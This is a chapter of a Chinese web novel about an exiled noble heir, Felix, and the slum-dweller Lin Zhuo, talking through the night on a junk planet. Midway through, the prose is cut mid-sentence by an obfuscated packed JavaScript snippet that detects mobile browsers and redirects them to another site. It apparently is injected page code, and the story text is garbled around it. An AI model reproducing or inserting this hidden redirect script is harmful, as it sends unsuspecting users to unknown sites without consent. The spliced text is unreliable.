是夜。
昏暗的房间中,有些破烂的窗纸透出屋外院子里的苍白模糊的月光。
少年猛然坐起,仿佛梦到了什么恐怖的噩梦。他大口大口地呼吸着,气体急促地从肺泡中挤压而出,又被新的空气填满,有些陌生、又在这些时日中逐渐变得熟悉的气味涌进他的鼻腔,忽然让他呛住。
他溺水一般咳嗽,咳得面红耳赤。过了好半天才平复下来,慢慢低下头,看着自己的手腕。
植入手腕的通讯器,正在皮肤下发热,隐约可见的红光在血管中蜿蜒明亮,三秒一次,持续了整整一分钟。
久久没有得到他的回应,通讯器停止发热。确认他还活着之后,一道光屏突兀出现在他眼前,上面飞快地流过一串短洁明了的讯息,接着合并消失在夜色之中。
房间重新恢复了死寂。
“卡文迪许现任家主生命垂危”。
“寻找您的赏金上升至三十颗高级星球”。
“帝国三片星域被暗中搜索捕捉,但全部无果”。
“部署人手已经达到百分之七十六”。
“最多再过三个月,一切都将尘埃落定”。
——最多再过三个月,他就会离开这个破烂的星球。
澄蓝的眼瞳浓郁的铅灰夜色中平静如水,费利克斯从善如流地接受了这一事实,甚至分出闲心来认可自己:这一进程比预计的还要快上一个月,可见他这一刀确确实实捅进了他的好父亲的心脏里。
至于他其他的兄弟姐妹……
他微微翘了翘唇角。
——全都不是他的对手。
再过三个月,他就能够回到他的领域之中,当他自己至高无上的皇帝。他将呼风唤雨、无所不能。他将不再需要躺在破烂的席子上,在没有月光照耀的房子中睡觉,更不需要喝劣等的营养液,连买一个小蛋糕都捉襟见肘。他将远离这个星球,从此他的人生和这个星球……不,和这片星域都无关,他将在光辉灿烂的圣帝国主星中过他恣意纵横的生活——
他脑子一开始还很有条理,慢慢地却变得胡来乱撞起来,连自己也不知自己在想些什么。
他先是任由自己的思绪漫游,从L·SK·斯达区域的宇宙坟场想到北五佐横星域的特产漂游鲸。
这两样东西不管是定义还是作用都大相径庭,唯一的共同点是它们独一无二,目前人类没有发现第二样与它们相同的东西。——至少媒体是这么宣传的。
不过也未必,费利克斯曾亲眼见过它们,觉得L·SK·斯达区的宇宙坟场和任何一条躺在上流人士餐盘上的鱼都相近,漂游鲸就更不用说了,他觉得它们与他收藏的一颗星球上的一种果子很像,全无特殊之处。
他见过很多东西,所以大多数人眼中毫不相关的东西总能被他找出相似点。因为这可恨的特质。他不得不承认,自己的人生在很久之前就已经失去了新意:至少现在,他不得不承认,他几乎再没见过独一无二的存在。
……几乎。
他的呼吸突然乱了,变得急促而驽钝。呆坐了一会儿,他猛然站了起来,拉开门走到了院子里。
他想呼吸点新鲜空气。
“……”
天杀的贫民窟。连风都是臭的。
他深深吸了一口气,纵使已经生活过一段时间,还是被这股臭气熏得痛苦地弓起身,呕吐的欲望从胃袋升起来,却什么也吐不出来,他只能抱住自己,接着慢慢蹲了下来。
“饿了吗?”一道声音突然从不远处传了过来。
“……?!”他下意识瞪圆了眼睛,猛地转过头,发现林酌正坐在门边,支着下巴看他。
他脱口而出,问:“你不睡觉?”
林酌道:“睡不着。”
“睡不着你在这里做什么?”
“那你在这里做什么?”
费利克斯怒道:“我睡不着,出来呼吸新鲜空气!”
“哦,”她捧读,“呼吸臭气。很好的爱好,我不做评价。”
费利克斯:“……”
说又说不过,打又打不过。他早明白这个现实了。胃袋空空,实在吐不出来什么,他干脆挪到她旁边坐下,顺着她的视角抬头。
垃圾山。
还是垃圾山。
维尔星的卫星离行星太远,所以在夜晚展现出来的光辉黯淡不可见。贫民窟的人在夜晚能够视物,是仰仗城区中人造月亮多出来的光辉。
今晚很幸运,并没有下雨。之前小院总是污水横流,林酌改进了一下排水系统,迈克尔找人来修了一通工程之后,这个夜晚的小院的地板居然是干燥的。
没有了潮湿的水汽,也没有了垃圾山在雨水敲打中彻夜发出的嗡声,费利克斯突然觉得很宁静。
他的心脏慢慢放松,少年舒展了两条大长腿,晃了晃脚尖,幼稚地和林酌作对比——“我比你高,”他得意地说,“腿也比你长。”
她懒得理他。
他又自顾自抓起她的手,打开摊平,和自己的重叠在一起。手掌心小一些,手指也短一点儿。他信口说“我的手指也比你的长”,却开始想她是怎么做到用这样比他还要小一点儿的手扒开垃圾堆,把他提出来,再把他带回了这里。
她又是怎么做到的?明明看上去瘦削、平直、是那种随时就会被垃圾湮没的角色,却偏偏能把另一群会被世界压倒的人提起来放在堂堂正正的灯光下。
他有点出神。印象里他从来没见过这样的人。他的人生里找不出第二样能够和她相提并论的存在,就像她是一个宇宙中的谬误,本不该出现在他的生命里。
林酌慢悠悠地说:“我本来以为你想听我给你灌点人生鸡汤。”
他的出神被打断,诧异地挑了挑眉。
“毕竟你看上去满脸想要人说点什么的表情。”
“哦,这个啊。”
他慢慢吐出一口气:“其实这正是我的伪装。装可怜来骗好心人上当,这种事做起来我实在是得心应手。没想到你居然也上当了,想必我的本事见长。”
她说:“嗯,你撒谎的本事确实见长。”
他问:“你不问个清楚明白么?”
“为什么要问?”
“一般人都想要知道真相吧。所谓的真相。之类的。”他嘟囔着。
她听了这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462991|169718||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,微微侧过脸,昏暗的夜色里他看不清她面庞的轮廓,却清晰地——或许是错觉——看到她的眸光,像暴沸的太阳星辰,让人情不自禁地想要伸出手去触碰。
“没什么好问的,想告诉我就告诉,不想也没关系。”
“哪怕我隐瞒的事情对你有害也没关系?”
她笑了:“没关系。”
“而且我也隐瞒了你很多事情,不是吗?”
“……”
是的,她瞒了我很多东西,我也瞒了她很多东西。
我们互相欺瞒。
然而,这并非我们不信任对方。
我们甚至心知肚明。我们只是知道。
——知道那些多余的东西,对我们之间的关系没有任何影响。
费利克斯在这个时候悲观地意识到了一个好消息,一个坏消息。
好消息是,他不必担心她会在知道与他相关的任何事情之后对他的态度发生改变。
坏消息是,她之所以如此,是因为她在乎又不在乎。而这种状态,可能持续至永恒。
他调整了一下手的位置,收紧了手指,和她五指相扣。啊。好亲昵的姿势,他觉得他听到了她的心跳,砰咚、砰咚、砰咚——和其他人的也没什么不同呀?
“喂,张三,”他说,“你是异能力者吧。”
她歪了歪头:“想要告发我去拿钱吗?”
他摇了摇头:“你的异能力真厉害,它让我爱上了你。”
“是这样吗……嗯,那么,我也爱上了你。”
“……好轻浮!”他大惊小怪道,“而且你撒谎的本事真厉害。”
她微微勾起唇,笑了起来:“比不上你。我差点以为你说的是真话。”
他慢慢靠到了她的肩膀上,故意作大鸟依人状:“也许我说的就是真话。”
“那我说的也是真话好了。”
“你只会说谎。”
“我们真的要进行这种没有营养的口水对话吗?”
“……啧。”
他靠在她的肩膀上,过了很久很久,期间他们一言不发。她一直在看着远处的山,不知在想些什么;他一会儿想她,一会儿想到垃圾山,有一会儿想到了卡文迪许这个姓氏。
过了很久很久,他以为自己睡着了。
但是没有。可惜没有。
他睁开眼睛的时候,天蒙蒙亮。她问他脖子累不累,他说还好,又问她肩膀痛不痛?
她也说还好。
两人分道扬镳,临他进门的时候,她想起了什么,问他:“等会跟我一起过去吗?”
说的是去仓库的事。今天是和吴青约好的,和上线接洽的日子。
他想了想,点点头:“那你多偷一张入城的票。”
她仰天长叹:“怎么说得我像个专业的贼。”
“你不是吗?你偷走了我的心。”他一时嘴快。
她指了指不远处,他感觉不妙,转头一看果然门被打开了,陈雀黑着一张脸走出来:“大清早的你在这骚扰小酌!找死!!!”砂锅大的拳头举了起来。
费利克斯:“……”他开始狼狈逃窜。